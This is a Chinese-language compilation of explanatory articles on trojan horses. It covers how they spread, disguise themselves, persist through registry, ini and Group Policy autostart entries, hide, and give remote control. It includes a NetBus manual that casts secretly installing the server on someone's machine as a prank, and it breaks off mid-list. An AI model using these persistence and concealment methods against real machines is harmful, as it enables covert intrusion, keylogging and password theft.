木马知识
特洛伊木马(以下简称木马),英文叫做“Trojan horse”,其名称取自希腊神话的特洛伊木马记。
它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。 所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。
原 理 篇
基础知识
在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
木马原理
用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。
一.配置木马
一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:
(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。
(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。
二.传播木马
1)传播方式:
木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为 名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。
(2)伪装方式:
鉴于木马的危害性,很多人对木马知识还是有一定了解的,这对木马的传播起了一定的抑制作用,这 是木马设计者所不愿见到的,因此他们开发了多种功能来伪装木马,以达到降低用户警觉,欺骗用户的目 的。
(一)修改图标
当你在E-MAIL的附件中看到这个图标时,是否会认为这是个文本文件呢?但是我不得不告 诉你,这也有可能是个木马程序,现在 已经有木马可以将木马服务端程序的图标改成HTML,TXT, ZIP等各种文件的图标,这有相当大的迷 惑性,但是目前提供这种功能的木马还不多见,并且这种 伪装也不是无懈可击的,所以不必整天提 心吊胆,疑神疑鬼的。
(二)捆绑文件
这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的 情况下 ,偷偷的进入了系统。至于被捆绑的文件一般是可执行文件(即EXE,COM一类的文件)。
(三)出错显示
有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序, 木马的 设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务 端用户打开木 马程序时,会弹出一个如下图所示的错误提示框(这当然是假的),错误内容可自由 定义,大多会定制成 一些诸如“文件已破坏,无法打开的!”之类的信息,当服务端用户信以 为真时,木马却悄悄侵入了 系统。
(四)定制端口
很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的 端口就 知道感染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可 以在1024---65535之间任选一个端口作为木马端口(一般不选1024以下的端口),这样就给判断 所感染木马类型带 来了麻烦。
(五)自我销毁
这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后,木马 会将自己拷贝到WINDOWS的系统文件夹中(C:WINDOWS或C:WINDOWSSYSTEM目录下),一般来说 原木马文件 和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来 收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木 马后,原木马文件将自动销毁,这 样服务端用户就很难找到木马的来源,在没有查杀木马的工 具帮助下,就很难删除木马了。
(六)木马更名
安装到系统文件夹中的木马的文件名一般是固定的,那么只要根据一些查杀木马的文章,按 图索骥在系统文件夹查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控 制端用户自由定制安装后的木马文件名,这样很难判断所感染的木马类型了。
三.运行木马
服务端用户运行木马或捆绑木马的程序后,木马就会自动进行安装。首先将自身拷贝到WINDOWS的 系统文件夹中(C:WINDOWS或C:WINDOWSSYSTEM目录下),然后在注册表,启动组,非启动组中设置好木马 的触发条件 ,这样木马的安装就完成了。安装后就可以启动木马了,具体过程见下图:
(1)由触发条件激活木马
触发条件是指启动木马的条件,大致出现在下面八个地方:
1.注册表:打开HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion下的五个以Run 和RunServices主键,在其中寻找可能是启动木马的键值。
2.WIN.INI:C:WINDOWS目录下有一个配置文件win.ini,用文本方式打开,在[windows]字段中有启动 命令 load=和run=,在一般情况下是空白的,如果有启动程序,可能是木马。 3.SYSTEM.INI:C:WINDOWS目录下有个配置文件system.ini,用文本方式打开,在[386Enh],[mic], [drivers32]中有命令行,在其中寻找木马的启动命令。
4.Autoexec.bat和Config.sys:在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都 需要控制端用户与服务端建立连接后,将已添加木马启动命令的同名 文件上传 到服务端覆盖这两个文件才行。
5.*.INI:即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马 启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。
6.注册表:打开HKEY_CLASSES_ROOT文件类型\shellopencommand主键,查看其键值。举个例子,国产 木马“冰河”就是修改HKEY_CLASSES_ROOT xtfileshellopencommand下的键值,将“C :WINDOWS NOTEPAD.EXE %1”该为“C:WINDOWSSYSTEMSYXXXPLR.EXE %1”,这时你双 击一个TXT文件 后,原本应用NOTEPAD打开文件的,现在却变成启动木马程序了。还要说明 的是不光是TXT文件 ,通过修改HTML,EXE,ZIP等文件的启动命令的键值都可以启动木马 ,不同之处只在于“文件类型”这个主键的差别,TXT是txtfile,ZIP是WINZIP,大家可以 试着去找一下。
7.捆绑文件:实现这种触发条件首先要控制端和服务端已通过木马建立连接,然后控制端用户用工具 软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使 木马被删 除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。
8.启动菜单:在“开始---程序---启动”选项下也可能有木马的触发条件。
(2)木马运行过程
木马被激活后,进入内存,并开启事先定义的木马端口,准备与控制端建立连接。这时服务端用 户可以在MS-DOS方式下,键入NETSTAT -AN查看端口状态,一般个人电脑在脱机状态下是不会有端口 开放的,如果有端口开放,你就要注意是否感染木马了。下面是电脑感染木马后,用NETSTAT命令查 看端口的两个实例:
其中①是服务端与控制端建立连接时的显示状态,②是服务端与控制端还未建立连接时的显示状态。
在上网过程中要下载软件,发送信件,网上聊天等必然打开一些端口,下面是一些常用的端口:
(1)1---1024之间的端口:这些端口叫保留端口,是专给一些对外通讯的程序用的,如FTP使用21, SMTP使用25,POP3使用110等。只有很少木马会用保留端口作为木马端口 的。
(2)1025以上的连续端口:在上网浏览网站时,浏览器会打开多个连续的端口下载文字,图片到本地 硬盘上,这些端口都是1025以上的连续端口。
(3)4000端口:这是OICQ的通讯端口。
(4)6667端口:这是IRC的通讯端口。 除上述的端口基本可以排除在外,如发现还有其它端口打开,尤其是数值比较大的端口,那就要怀疑 是否感染了木马,当然如果木马有定制端口的功能,那任何端口都有可能是木马端口。
四.信息泄露:
一般来说,设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集 一些服务端的软硬件信息,并通过E-MAIL,IRC或ICO的方式告知控制端用户。
从反馈信息中控制端可以知道服务端的一些软硬件信息,包括使用的操作系统,系统目录,硬盘分区况, 系统口令等,在这些信息中,最重要的是服务端IP,因为只有得到这个参数,控制端才能与服务端建立 连接,具体的连接方法我们会在下一节中讲解。
五.建立连接:
这一节我们讲解一下木马连接是怎样建立的 。一个木马连接的建立首先必须满足两个条件:一是 服务端已安装了木马程序;二是控制端,服务端都要在线 。在此基础上控制端可以通过木马端口与服 务端建立连接。
假设A机为控制端,B机为服务端,对于A机来说要与B机建立连接必须知道B机的木马端口和IP地 址,由于木马端口是A机事先设定的,为已知项,所以最重要的是如何获得B机的IP地址。获得B机的IP 地址的方法主要有两种:信息反馈和IP扫描。对于前一种已在上一节中已经介绍过了,不再赘述,我们 重点来介绍IP扫描,因为B机装有木马程序,所以它的木马端口7626是处于开放状态的,所以现在A机只 要扫描IP地址段中7626端口开放的主机就行了,例如图中B机的IP地址是202.102.47.56,当A机扫描到 这个IP时发现它的7626端口是开放的,那么这个IP就会被添加到列表中,这时A机就可以通过木马的控 制端程序向B机发出连接信号,B机中的木马程序收到信号后立即作出响应,当A机收到响应的信号后, 开启一个随即端口1031与B机的木马端口7626建立连接,到这时一个木马连接才算真正建立。值得一提 的要扫描整个IP地址段显然费时费力,一般来说控制端都是先通过信息反馈获得服务端的IP地址,由于 拨号上网的IP是动态的,即用户每次上网的IP都是不同的,但是这个IP是在一定范围内变动的,如图中 B机的IP是202.102.47.56,那么B机上网IP的变动范围是在202.102.000.000---202.102.255.255,所以 每次控制端只要搜索这个IP地址段就可以找到B机了。
六.远程控制:
木马连接建立后,控制端端口和木马端口之间将会出现一条通道。
控制端上的控制端程序可藉这条通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远 程控制。下面我们就介绍一下控制端具体能享有哪些控制权限,这远比你想象的要大。
(1)窃取密码:一切以明文的形式,*形式或缓存在CACHE中的密码都能被木马侦测到,此外很多木马还 提供有击键记录功能,它将会记录服务端每次敲击键盘的动作,所以一旦有木马入侵, 密码将很容易被窃取。
(2)文件操作:控制端可藉由远程控制对服务端上的文件进行删除,新建,修改,上传,下载,运行,更改属 性等一系列操作,基本涵盖了WINDOWS平台上所有的文件操作功能。
(3)修改注册表:控制端可任意修改服务端注册表,包括删除,新建或修改主键,子键,键值。有了这 项功能控制端就可以禁止服务端软驱,光驱的使用,锁住服务端的注册表,将服务端 上木马的触发条件设置得更隐蔽的一系列高级操作。
(4)系统操作:这项内容包括重启或关闭服务端操作系统,断开服务端网络连接,控制服务端的鼠标, 键盘,监视服务端桌面操作,查看服务端进程等,控制端甚至可以随时给服务端发送信 息,想象一下,当服务端的桌面上突然跳出一段话,不吓人一跳才怪
木马和病毒都是一种人为的程序,都属于电脑病毒,为什么木马要单独提出来说内?大家都知道以前的电脑病毒的作用,其实完全就是为了搞破坏,破坏电脑里的资料数据,除了破坏之外其它无非就是有些病毒制造者为了达到某些目的而进行的威慑和敲诈勒索的作用,或为了炫耀自己的技术. "木马"不一样,木马的作用是赤裸裸的偷偷监视别人和盗窃别人密码,数据等,如盗窃管理员密码-子网密码搞破坏,或者好玩,偷窃上网密码用于它用,游戏帐号,股票帐号,甚至网上银行帐户等.达到偷窥别人隐私和得到经济利益的目的.所以木马的作用比早期的电脑病毒更加有用.更能够直接达到使用者的目的!导致许多别有用心的程序开发者大量的编写这类带有偷窃和监视别人电脑的侵入性程序,这就是目前网上大量木马泛滥成灾的原因.鉴于木马的这些巨大危害性和它与早期病毒的作用性质不一样,所以木马虽然属于病毒中的一类,但是要单独的从病毒类型中间剥离出来.独立的称之为"木马"程序.
一般来说一种杀毒软件程序,它的木马专杀程序能够查杀某某木马的话,那么它自己的普通杀毒程序也当然能够杀掉这种木马,因为在木马泛滥的今天,为木马单独设计一个专门的木马查杀工具,那是能提高该杀毒软件的产品档次的,对其声誉也大大的有益,实际上一般的普通杀毒软件里都包含了对木马的查杀功能.如果现在大家说某某杀毒软件没有木马专杀的程序,那这家杀毒软件厂商自己也好象有点过意不去,即使它的普通杀毒软件里当然的有杀除木马的功能.
还有一点就是,把查杀木马程序单独剥离出来,可以提高查杀效率,现在很多杀毒软件里的木马专杀程序只对木马进行查杀,不去检查普通病毒库里的病毒代码,也就是说当用户运行木马专杀程序的时候,程序只调用木马代码库里的数据,而不调用病毒代码库里的数据,大大提高木马查杀速度.我们知道查杀普通病毒的速度是比较慢的,因为现在有太多太多的病毒.每个文件要经过几万条木马代码的检验,然后再加上已知的差不多有近10万个病毒代码的检验,那速度岂不是很慢了.省去普通病毒代码检验,是不是就提高了效率,提高了速度内? 也就是说现在好多杀毒软件自带的木马专杀程序只查杀木马而一般不去查杀病毒,但是它自身的普通病毒查杀程序既查杀病毒又查杀木马!
隐形”木马启动方式揭秘
大家所熟知的木马程序一般的启动方式有:加载到“开始”菜单中的“启动”项、记录到注册表的[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]项和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]项中,更高级的木马还会注册为系统的“服务”程序,以上这几种启动方式都可以在“系统配置实用程序”(在“开始→运行”中执行“Msconfig”)的“启动”项和“服务”项中找到它的踪迹。
另一种鲜为人知的启动方式,是在“开始→运行”中执行“Gpedit.msc”。打开“组策略”,可看到“本地计算机策略”中有两个选项:“计算机配置”与“用户配置”,展开“用户配置→管理模板→系统→登录”,双击“在用户登录时运行这些程序”子项进行属性设置,选定“设置”项中的“已启用”项并单击“显示”按钮弹出“显示内容”窗口,再单击“添加”按钮,在“添加项目”窗口内的文本框中输入要自启动的程序的路径,如图所示,单击“确定”按钮就完成了。
添加需要启动的文件面
重新启动计算机,系统在登录时就会自动启动你添加的程序,如果刚才添加的是木马程序,那么一个“隐形”木马就这样诞生了。因为用这种方式添加的自启动程序在系统的“系统配置实用程序”是找不到的,同样在我们所熟知的注册表项中也是找不到的,所以非常危险。
通过这种方式添加的自启动程序虽然被记录在注册表中,但是不在我们所熟知的注册表的[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]项和[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]项内,而是在册表的[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]项。如果你怀疑你的电脑被种了“木马”,可是又找不到它在哪儿,建议你到注册表的[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]项里找找吧,或是进入“组策略”的“在用户登录时运行这些程序”看看有没有启动的程序。
特洛伊木马NetBus v.1.60的中文说明
概 述
此程序是一个遥控管理工具,更是一个在局域网或在全球因特网上同朋友逗乐的软件.
安 装
NetBus包含服务器和客户机部分,服务器必须安装在你想逗乐的人的计算机上.客户机属你掌握,它是控
制目标计算机的好程序.
把NetSever服务器,Patch.exe(可更名),放入目标计算机的任意位置并运行它,缺省时安装在Windows中,
以更开机时自动运行. 把NetSever客户机,装在自己的计算机里.开始NetBus,联结你选择的域名或(IP地
址);如果Patch已在你联结的目标计算机中已运行. 让我们开始逗乐!
注意:你看不到Patch在运行-它Windows开始时自动运行,并隐藏.
Netbus和Patch使用TCP/IP协议.因此,你的地址有域名或IP号.NetBus会用Connect按钮把你和某人联上.
功 能
*弹开/关闭CD-ROM一次或间隔性自动开关.
*显示所选择的图象,如果你没有图像文件的路径,可在Pacth的目录中找.支持BMP和JPG格式.
*交换鼠标按钮-鼠标右键变成鼠标左键的功能.
*开始所选择的应用程序.
*播放所选择的声音文件, 如果你没有声音文件的路径,可在Pacth的目录中找.支持WAV格式.
*点击所选的鼠标坐标,你甚至可你的鼠标在目标计算机中运行.
*在银屏上显示对话框,回答会返回你的计算机中.
*关闭系统,删除用户记录等.
*用缺省网络浏览器,浏览所选择的URL.
*发送键盘输入的信息到目标计算机中的活动应用程序中!
*监视对方的键盘输入的信息,并发回到你的计算机.
*清屏!(连接速度慢时禁用).
*获取目标计算机中的信息.
*上载你的文件到目标计算机中!用此功能,可上载Patch的最新版本.
*增大和减少声音音量.
*记录麦克风的声音,并将声音返回.
*按一次键每次有声音.
*下载和删除目标中的任何文件.你能下载/删除在目标计算机硬盘中所选择的文件.
*键盘禁用功能.
*密码保护管理.
*记录键盘活动
*显示,死机和集中系统中的窗囗.
上述功能一些选项在执行时,(逻辑排异),可能会延迟几秒.
连 接
Connect按钮有个很好的特点,它能扫描NetBus计算机中的IP地址.一旦连接它会停止扫描.IP扫描的
参数是xx.xx.xx.xx+xx,等.
127.0.0.1+15 将扫描IP地址的范围是127.0.0.1到 127.0.0.16
但是木马大多数杀毒软件杀不到,我推荐木马杀客\木马克星.
木马后来会将电脑变成一只"肉鸡",任幕后人控制,只要你连了网,他就可以肆意控制你的主机,只有拔电源才不会被控制.
关于此 特洛伊木马程序 已检测到: PWS-LegMir (特洛伊木马程序), PWS-LegMir (特洛伊木马程序)
特洛伊木马没有复制能力,它的特点是伪装成一个实用工具或者一个可爱的游戏,这会诱使用户将其安装在PC或者服务器上。
详解木马原理
特洛伊木马是如何启动的
作为一个优秀的木马,自启动功能是必不可少的,这样可以保证木马不会因为你的一次关机操作而彻底失去作用。正因为该项技术如此重要,所以,很多编程人员都在不停地研究和探索新的自启动技术,并且时常有新的发现。一个典型的例子就是把木马加入到用户经常执行的程序 (例如explorer.exe)中,用户执行该程序时,则木马自动发生作用。当然,更加普遍的方法是通过修改Windows系统文件和注册表达到目的,现经常用的方法主要有以下几种:
1.在Win.ini中启动
在Win.ini的[windows]字段中有启动命令"load="和"run=",在一般情况下 "="后面是空白的,如果有后跟程序,比方说是这个样子:
run=c:\windows\file.exe
load=c:\windows\file.exe
要小心了,这个file.exe很可能是木马哦。
2.在System.ini中启动
System.ini位于Windows的安装目录下,其[boot]字段的shell=Explorer.exe是木马喜欢的隐藏加载之所,木马通常的做法是将该何变为这样:shell=Explorer.exefile.exe。注意这里的file.exe就是木马服务端程序!
另外,在System.中的[386Enh]字段,要注意检查在此段内的"driver=路径\程序名"这里也有可能被木马所利用。再有,在System.ini中的[mic]、[drivers]、[drivers32]这3个字段,这些段也是起到加载驱动程序的作用,但也是增添木马程序的好场所,现在你该知道也要注意这里喽。
3.利用注册表加载运行
如下所示注册表位置都是木马喜好的藏身加载之所,赶快检查一下,有什么程序在其下。
4.在Autoexec.bat和Config.sys中加载运行
请大家注意,在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都需要控制端用户与服务端建立连接后,将己添加木马启动命令的同名文件上传到服务端覆盖这两个文件才行,而且采用这种方式不是很隐蔽。容易被发现,所以在Autoexec.bat和Confings中加载木马程序的并不多见,但也不能因此而掉以轻心。
5.在Winstart.bat中启动
Winstart.bat是一个特殊性丝毫不亚于Autoexec.bat的批处理文件,也是一个能自动被Windows加载运行的文件。它多数情况下为应用程序及Windows自动生成,在执行了Windows自动生成,在执行了Win.com并加截了多数驱动程序之后
开始执行 (这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Witart.bat代替完成,因此木马完全可以像在Autoexec.bat中那样被加载运行,危险由此而来。
等一系列……………………
木马的隐藏方式
1.在任务栏里隐藏
这是最基本的隐藏方式。如果在windows的任务栏里出现一个莫名其妙的图标,傻子都会明白是怎么回事。要实现在任务栏中隐藏在编程时是很容易实现的。我们以VB为例。在VB中,只要把from的Visible属性设置为False,ShowInTaskBar设为False程序就不会出现在任务栏里了。
2.在任务管理器里隐藏
查看正在运行的进程最简单的方法就是按下Ctrl+Alt+Del时出现的任务管理器。如果你按下Ctrl+Alt+Del后可以看见一个木马程序在运行,那么这肯定不是什么好木马。所以,木马会千方百计地伪装自己,使自己不出现在任务管理器里。木马发现把自己设为 "系统服务“就可以轻松地骗过去。
因此,希望通过按Ctrl+Alt+Del发现木马是不大现实的。
3.端口
一台机器有65536个端口,你会注意这么多端口么?而木马就很注意你的端口。如果你稍微留意一下,不难发现,大多数木马使用的端口在1024以上,而且呈越来越大的趋势;当然也有占用1024以下端口的木马,但这些端口是常用端口,占用这些端口可能会造成系统不正常,这样的话,木马就会很容易暴露。也许你知道一些木马占用的端口,你或许会经常扫描这些端口,但现在的木马都提供端口修改功能,你有时间扫描65536个端口么?
4.隐藏通讯
隐藏通讯也是木马经常采用的手段之一。任何木马运行后都要和攻击者进行通讯连接,或者通过即时连接,如攻击者通过客户端直接接人被植人木马的主机;或者通过间接通讯。如通过电子邮件的方式,木马把侵入主机的敏感信息送给攻击者。现在大部分木马一般在占领主机后会在1024以上不易发现的高端口上驻留;有一些木马会选择一些常用的端口,如80、23,有一种非常先进的木马还可以做到在占领80HTTP端口后,收到正常的HTTP请求仍然把它交与Web服务器处理,只有收到一些特殊约定的数据包后,才调用木马程序。
5.隐藏隐加载方式
木马加载的方式可以说千奇百怪,无奇不有。但殊途同归,都为了达到一个共同的目的,那就是使你运行木马的服务端程序。如果木马不做任何伪装,就告诉你这是木马,你会运行它才怪呢。而随着网站互动化避程的不断进步,越来越多的东西可以成为木马的传播介质,Java Script、VBScript、ActiveX.XLM....几乎WWW每一个新功能部会导致木马的快速进化。
6.最新隐身技术
在Win9x时代,简单地注册为系统进程就可以从任务栏中消失,可是在Windows2000盛行的今天。这种方法遭到了惨败。注册为系统进程不仅仅能在任务栏中看到,而且可以直接在Services中直接控制停止。运行(太搞笑了,木马被客户端控制)。使用隐藏窗体或控制台的方法也不能欺骗无所不见的Admlin大人(要知道,在NT下,Administrator是可以看见所有进程的)。在研究了其他软件的长处之后,木马发现,Windows下的中文汉化软件采用的陷阱技术非常适合木马的使用。。
QUOTE:
特洛伊木马具有的特性
1.包含干正常程序中,当用户执行正常程序时,启动自身,在用户难以察觉的情况下,完成一些危害用户的操作,具有隐蔽性
由于木马所从事的是 "地下工作",因此它必须隐藏起来,它会想尽一切办法不让你发现它。很多人对木马和远程控制软件有点分不清,还是让我们举个例子来说吧。我们进行局域网间通讯的常用软件PCanywhere大家一定不陌生吧?我们都知道它是一款远程控制软件。PCanywhere比在服务器端运行时,客户端与服务器端连接成功后,客户端机上会出现很醒目的提示标志;而木马类的软件的服务器端在运行的时候应用各种手段隐藏自己,不可能出现任何明显的标志。木马开发者早就想到了可能暴露木马踪迹的问题,把它们隐藏起来了。例如大家所熟悉木马修改注册表和而文件以便机器在下一次启动后仍能载入木马程式,它不是自己生成一个启动程序,而是依附在其他程序之中。有些木马把服务器端和正常程序绑定成一个程序的软件,叫做exe-binder绑定程序,可以让人在使用绑定的程序时,木马也入侵了系统。甚至有个别木马程序能把它自身的exe文件和服务端的图片文件绑定,在你看图片的时候,木马便侵人了你的系统。它的隐蔽性主要体现在以下两个方面:
(1)不产生图标
木马虽然在你系统启动时会自动运行,但它不会在 "任务栏"中产生一个图标,这是容易理解的,不然的话,你看到任务栏中出现一个来历不明的图标,你不起疑心才怪呢!
(2)木马程序自动在任务管理器中隐藏,并以"系统服务"的方式欺骗操作系统。
2.具有自动运行性。
木马为了控制服务端。它必须在系统启动时即跟随启动,所以它必须潜人在你的启动配置文件中,如win.ini、system.ini、winstart.bat以及启动组等文件之中。
3.包含具有未公开并且可能产生危险后果的功能的程序。
4.具备自动恢复功能。
现在很多的木马程序中的功能模块巴不再由单一的文件组成,而是具有多重备份,可以相互恢复。当你删除了其中的一个,以为万事大吉又运行了其他程序的时候,谁知它又悄然出现。像幽灵一样,防不胜防。
5.能自动打开特别的端口。
木马程序潜人你的电脑之中的目的主要不是为了破坏你的系统,而是为了获取你的系统中有用的信息,当你上网时能与远端客户进行通讯,这样木马程序就会用服务器客户端的通讯手段把信息告诉黑客们,以便黑客们控制你的机器,或实施进一步的入侵企图。你知道你的电脑有多少个端口?不知道吧?告诉你别吓着:根据TCP/IP协议,每台电脑可以有256乘以256个端口,也即从0到65535号 "门",但我们常用的只有少数几个,木马经常利用我们不大用的这些端口进行连接,大开方便之 "门"。
6、功能的特殊性。
通常的木马功能都是十分特殊的,除了普通的文件操作以外,还有些木马具有搜索cache中的口令、设置口令、扫描目标机器人的IP地址、进行键盘记录、远程注册表的操作以及锁定鼠标等功能。上面所讲的远程控制软件当然不会有这些功能,毕竟远程控制软件是用来控制远程机器,方便自己操作而已,而不是用来黑对方的机器的。
QUOTE:
木马采用的伪装方法
1.修改图标
木马服务端所用的图标也是有讲究的,木马经常故意伪装成了XT.HTML等你可能认为对系统没有多少危害的文件图标,这样很容易诱惑你把它打开。看看,木马是不是很狡猾?
2.捆绑文件
这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情况下,偷偷地进入了系统。被捆绑的文件一般是可执行文件 (即EXE、COM一类的文件)。
3.出错显示
有一定木马知识的人部知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序。木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务端用户打开木马程序时,会弹出一个错误提示框 (这当然是假的),错误内容可自由定义,大多会定制成一些诸如 "文件已破坏,无法打开!"之类的信息,当服务端用户信以为真时,木马却悄悄侵人了系统。
4.自我销毁
这项功能是为了弥补木马的一个缺陷。我们知道,当服务端用户打开含有木马的文件后,木马会将自己拷贝到Windows的系统文件夹中(C;\wmdows或C:\windows\system目录下),一般来说,源木马文件和系统文件夹中的木马文件的大小是一样的 (捆绑文件的木马除外),那么,中了木马的朋友只要在近来收到的信件和下载的软件中找到源木马文件,然后根据源木马的大小去系统文件夹找相同大小的文件,判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木马后,源木马文件自动销毁,这样服务端用户就很难找到木马的来源,在没有查杀木马的工具帮助下。就很难删除木马了。
5.木马更名
木马服务端程序的命名也有很大的学问。如果不做任何修改,就使用原来的名字,谁不知道这是个木马程序呢?所以木马的命名也是千奇百怪,不过大多是改为和系统文件名差不多的名字,如果你对系统文件不够了解,那可就危险了。例如有的木马把名字改为window.exe,如果不告诉你这是木马的话,你敢删除吗?还有的就是更改一些后缀名,比如把dll改为dl等,不仔细看的,你会发现吗?
木马的种类
1、破坏型
惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
2、密码发送型
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。
在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
3、远程访问型
最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。
程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。
4.键盘记录木马
这种特洛伊木马是非常简单的。它们只做一件事情,就是记录受害者的键盘敲击并且在LOG文件里查找密码。据笔者经验,这种特洛伊木马随着Windows的启动而启动。它们有在线和离线记录这样的选项,顾名思义,它们分别记录你在线和离线状态下敲击键盘时的按键情况。也就是说你按过什么按键,下木马的人都知道,从这些按键中他很容易就会得到你的密码等有用信息,甚至是你的信用卡账号哦!当然,对于这种类型的木马,邮件发送功能也是必不可少的。
5.DoS攻击木马
随着DoS攻击越来越广泛的应用,被用作DoS攻击的木马也越来越流行起来。当你入侵了一台机器,给他种上DoS攻击木马,那么日后这台计算机就成为你DoS攻击的最得力助手了。你控制的肉鸡数量越多,你发动DoS攻击取得成功的机率就越大。所以,这种木马的危害不是体现在被感染计算机上,而是体现在攻击者可以利用它来攻击一台又一台计算机,给网络造成很大的伤害和带来损失。
还有一种类似DoS的木马叫做邮件炸弹木马,一旦机器被感染,木马就会随机生成各种各样主题的信件,对特定的邮箱不停地发送邮件,一直到对方瘫痪、不能接受邮件为止。
6.代理木马
